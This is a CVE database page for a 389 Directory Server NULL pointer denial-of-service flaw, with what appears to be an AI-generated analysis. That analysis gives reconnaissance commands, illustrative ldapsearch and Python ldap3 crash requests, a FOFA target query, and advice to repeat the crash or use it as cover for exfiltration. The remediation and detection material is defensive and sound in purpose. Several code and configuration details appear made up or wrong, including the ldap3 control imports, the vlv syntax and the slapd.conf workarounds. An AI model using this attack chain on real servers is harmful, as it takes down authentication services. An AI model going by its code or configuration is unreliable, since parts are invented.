CVE Professor
/
All CVEs
CVE-2026-118472

CVE-2026-118472 — Red Hat Directory Server 11.5 E4S For RHEL 8 (*) — CWE-476

HIGH CVSS 7.5 CVE.org

A flaw was found in 389 Directory Server. A missing validation check in the Virtual List View (VLV) byValue candidate-trimming logic allows a search request that combines a server-side sort control naming an incompatible ordering rule with a VLV byValue request to crash the server via a NULL pointer dereference, resulting in denial of service.

A flaw was found in 389 Directory Server. A missing validation check in the Virtual List View (VLV) byValue candidate-trimming logic allows a search request that combines a server-side sort control naming an incompatible ordering rule with a VLV byValue request to crash the server via a NULL pointer dereference, resulting in denial of service.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality None C:N
Integrity None I:N
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Technical root‑cause
The flaw is a missing validation check in the 389 Directory Server’s Virtual List View (VLV) implementation.
When a client issues an LDAP search that simultaneously:

1. Requests server‑side sorting via the Sort Control (e.g., cn), and
2. Requests a VLV by‑value request (the VLV control with the byValue parameter),

the server attempts to trim the candidate list that satisfies the VLV request.
Because the sort control references an incompatible ordering rule (e.g., the server only knows how to sort by cn, but the request asks for a different rule), the VLV trimming logic fails to validate the candidate list. The code then dereferences a NULL pointer, causing the 389 Directory Server process to crash.

CWE – CWE‑476: NULL Pointer Dereference
CVSS – 7.5/10 (High)

  • Attack Vector: Network (AV:N)

  • Attack Complexity: Low (AC:L) – no special conditions required

  • Privileges Required: None (PR:N) – any unauthenticated LDAP client can trigger it

  • User Interaction: None (UI:N) – the request is fully automated

  • Scope: Unchanged (S:U) – only the target server is affected

  • Impact: Availability only (A:H), no confidentiality or integrity impact

  • ⚡ Attack Chain

    1. Discovery & Reconnaissance

    StepTechniqueTools / Commands
    Identify LDAP servicePort scan for LDAP (389/636)nmap -p 389,636 <target>
    Determine server type/versionLDAP banner or ldapsearchldapsearch -x -H ldap://<target>:389 -s base -b "" "(objectclass=*)" version
    Confirm VLV supportQuery server capabilitiesldapsearch -x -H ldap://<target>:389 -b "" "(objectclass=*)" supportedControl
    Check sort control supportSame queryldapsearch -x -H ldap://<target>:389 -b "" "(objectclass=*)" supportedControl
    Note: The 389 Directory Server advertises the Virtual List View (1.2.840.113556.1.4.417) and Sort (1.2.840.113556.1.4.473) controls in its supportedControl list.

    2. Exploitation

    The attacker crafts a single LDAP search request that includes both controls. The request is sent over plain LDAP (port 389) or LDAPS (port 636). Below are two illustrative PoCs – one using the command‑line ldapsearch utility, the other using Python’s ldap3 library.
    Important: The exact control values (e.g., the ordering rule name) are not specified in the CVE description. The examples below are illustrative and demonstrate the class of request that triggers the crash.

    2.1 ldapsearch PoC (illustrative)

    ldapsearch \
      -x \
      -H ldap://<target>:389 \
      -b "dc=example,dc=com" \
      -E 'sort=cn' \
      -E 'vlv=byValue=cn=John Doe' \
      '(objectClass=*)'
  • -x – simple authentication (no SASL)
  • -E 'sort=cn' – server‑side sort on the cn attribute
  • -E 'vlv=byValue=cn=John Doe' – VLV request that asks for the entry whose cn equals John Doe
  • The combination of these controls triggers the NULL‑pointer dereference in the 389 DS VLV trimming logic.
  • 2.2 Python ldap3 PoC (illustrative)

    from ldap3 import Server, Connection, ALL, SUBTREE, SortControl, VlvControl
    
    server = Server('ldap://<target>:389', get_info=ALL)
    conn = Connection(server, user='cn=admin,dc=example,dc=com',
                      password='password', auto_bind=True)
    
    # Server‑side sort on 'cn'
    sort_ctrl = SortControl(attribute='cn')
    
    # VLV by‑value request for cn=John Doe
    vlv_ctrl = VlvControl(
        target=1,          # target position (1‑based)
        content_count=10,  # number of entries to return
        offset=0,          # offset from target
        by_value='cn=John Doe'
    )
    
    # Execute the search
    conn.search(
        search_base='dc=example,dc=com',
        search_filter='(objectClass=*)',
        search_scope=SUBTREE,
        attributes=['cn'],
        controls=[sort_ctrl, vlv_ctrl]
    )
    
    print(conn.response)
    Result: The 389 Directory Server process crashes (segfault / abort) immediately after receiving the request. The client receives a connection reset or a “server unavailable” error.

    3. Post‑Exploitation

    Because the vulnerability is a Denial‑of‑Service (DoS), there is no direct post‑exploitation payload. However, an attacker can:

    1. Automate repeated requests to keep the server down, effectively performing a low‑impact DoS attack.
    2. Use the DoS as a distraction while conducting other malicious activities (e.g., lateral movement, data exfiltration) on the same network.
    3. Trigger the crash during a maintenance window to cause maximum disruption.


    🌍 Real World Impact

    ImpactDescription
    ConfidentialityNone – the vulnerability does not disclose data.
    IntegrityNone – no data is modified.
    AvailabilityHigh – the server process terminates, causing the LDAP service to become unavailable until a restart or fail‑over.

    Practical consequences

  • Service outage for applications that rely on LDAP for authentication, directory lookups, or group membership resolution.

  • Business impact: loss of access to internal tools, authentication failures for end‑users, potential cascading failures in dependent services (e.g., SSO, provisioning).

  • Operational overhead: manual restarts, monitoring alerts, and potential downtime for patching.

  • 🛡️ Remediation & Mitigation

    Affected Versions

    The CVE description does not enumerate specific version numbers. Recommendation:
  • Upgrade to the latest 389 Directory Server release that contains the vendor‑issued patch.
  • If an upgrade is not immediately possible, apply the following mitigations.
  • Workarounds

    MitigationHow to Implement
    Disable VLVEdit slapd.conf or the equivalent configuration file to remove the vlv control from the list of enabled controls. Example: disable vlv or comment out vlv in the configuration.
    Disable Server‑Side SortSimilarly, disable the sort control (disable sort).
    Restrict LDAP AccessUse firewall rules to allow LDAP traffic only from trusted IP ranges (e.g., internal network, VPN). Example (iptables):<br>iptables -A INPUT -p tcp --dport 389 -s 10.0.0.0/8 -j ACCEPT<br>iptables -A INPUT -p tcp --dport 389 -j DROP
    Rate‑limit LDAP requestsConfigure the LDAP server’s connection limits or use a front‑end proxy (e.g., HAProxy) to throttle requests.
    Note: Disabling VLV or sort controls may affect applications that rely on these features. Test in a staging environment before production deployment.

    Detection

    IndicatorLog ExampleHow to Detect
    Crash logs389 Directory Server: fatal error: null pointer dereferenceMonitor system logs (/var/log/messages, /var/log/389ds/) for fatal errors.
    Repeated LDAP search requestsldapsearch: server returned error: 0x00000000Inspect LDAP access logs for repeated search requests containing sort and vlv controls.
    Connection resetsConnection reset by peerNetwork monitoring tools (Wireshark, Zeek) can flag abrupt TCP resets from the LDAP port.
    Service unavailability alertsLDAP service downUse monitoring tools (Nagios, Zabbix) to alert on LDAP port downtime.

    Patch Management

    1. Check vendor advisories: Search the 389 Directory Server release notes or security advisories for “CVE‑2026‑118472” or “VLV NULL pointer dereference”.
    2. Apply the patch: Download the latest release (e.g., 389-ds-base-1.4.6-1.el8.x86_64.rpm) and install it using the package manager (yum, dnf, apt).
    3. Verify: After upgrade, run a benign LDAP search to confirm the server remains stable.
    4. Re‑test: Re‑run the PoC to ensure the crash no longer occurs.


    ⚠️ Urgency

  • CVSS Score: 7.5 (High) – Availability impact is severe.
  • Exploit Complexity: Low – requires only a crafted LDAP request.
  • No authentication or user interaction – any unauthenticated client can trigger the crash.
  • CISA KEV: No – but the high availability impact warrants immediate attention.
Priority: P1 (Critical) – Patch or mitigate as soon as possible to prevent accidental or intentional DoS attacks that could disrupt authentication services and downstream applications.
[🤖 CVE Professor AI Security Engine]
Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Red Hat Red Hat Directory Server 11.5 E4S for RHEL 8"
CVSS Score
7.5 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-476
Affected Products (10)
Red Hat:Red Hat Directory Server 11.5 E4S for RHEL 8 (*) Red Hat:Red Hat Directory Server 11.7 E4S for RHEL 8 (*) Red Hat:Red Hat Directory Server 11.9 for RHEL 8 (*) Red Hat:Red Hat Directory Server 12.2 E4S for RHEL 9 (*) Red Hat:Red Hat Directory Server 12.4 E4S for RHEL 9 (*) Red Hat:Red Hat Enterprise Linux 10 (*) Red Hat:Red Hat Enterprise Linux 10.0 Extended Update Support (*) Red Hat:Red Hat Enterprise Linux 10.2 Extended Update Support (*) Red Hat:Red Hat Enterprise Linux 8 (*) Red Hat:Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support (*)
Related CVEs
9.8
CVE-2026-105103
A backdoor in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlier allows the manufa
9.8
CVE-2026-105104
Use of hard-coded credentials in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlie
9.8
CVE-2026-145051
WWBN AVideo before 29.9.0 contains an authentication bypass vulnerability in the LoginWordPress plugin that al
9.4
CVE-2026-129109
Calico installations managed by the Tigera Operator install a FlexVolume driver (nodeagent~uds/uds) on every L
8.7
CVE-2026-144743
A vulnerability has been found in D-Link DIR-878 1.20B05. This impacts the function GetCAPTCHAsetting of the f
8.6
CVE-2026-145368
### Summary A discovery request with error_detail set (an xDS NACK) for a resource type the stream never subs
7.7
CVE-2026-145238
### Summary Any workload with a mesh identity can crash istiod with a single `istio.io/debug` XDS request who